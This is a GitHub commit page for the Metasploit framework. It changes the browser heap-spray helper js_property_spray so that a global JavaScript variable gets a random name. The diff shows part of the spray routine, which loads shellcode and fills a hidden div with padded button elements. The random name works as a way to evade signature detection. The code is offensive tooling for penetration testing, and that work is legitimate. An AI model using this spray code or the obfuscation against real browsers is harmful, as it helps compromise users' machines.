Skip to content

Commit 5668064

Browse files
committed
Randomize the "div_container" var because it's global
It's best to randomize this variable name because it's global.
1 parent f22c18e commit 5668064

File tree

1 file changed

+7
-6
lines changed

1 file changed

+7
-6
lines changed

lib/msf/core/exploit/http/server.rb

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -813,8 +813,9 @@ def js_base64
813813
# </script>
814814
#
815815
def js_property_spray
816+
sym_div_container = Rex::Text.rand_text_alpha(rand(10) + 5)
816817
js = %Q|
817-
var div_container;
818+
var #{sym_div_container};
818819
function sprayHeap( oArg ) {
819820
820821
shellcode = oArg.shellcode;
@@ -830,13 +831,13 @@ def js_property_spray
830831
831832
if (offset > 0x800) { throw "Bad alignment"; }
832833
833-
div_container = document.getElementById(objId);
834+
#{sym_div_container} = document.getElementById(objId);
834835
835-
if (div_container == null) {
836-
div_container = document.createElement("div");
836+
if (#{sym_div_container} == null) {
837+
#{sym_div_container} = document.createElement("div");
837838
}
838839
839-
div_container.style.cssText = "display:none";
840+
#{sym_div_container}.style.cssText = "display:none";
840841
var data;
841842
junk = unescape("%u2020%u2020");
842843
while (junk.length < offset+0x1000) junk += junk;
@@ -850,7 +851,7 @@ def js_property_spray
850851
{
851852
var obj = document.createElement("button");
852853
obj.title = data.substring(0, (heapBlockSize-2)/2);
853-
div_container.appendChild(obj);
854+
#{sym_div_container}.appendChild(obj);
854855
}
855856
}
856857
|

0 commit comments

Comments
 (0)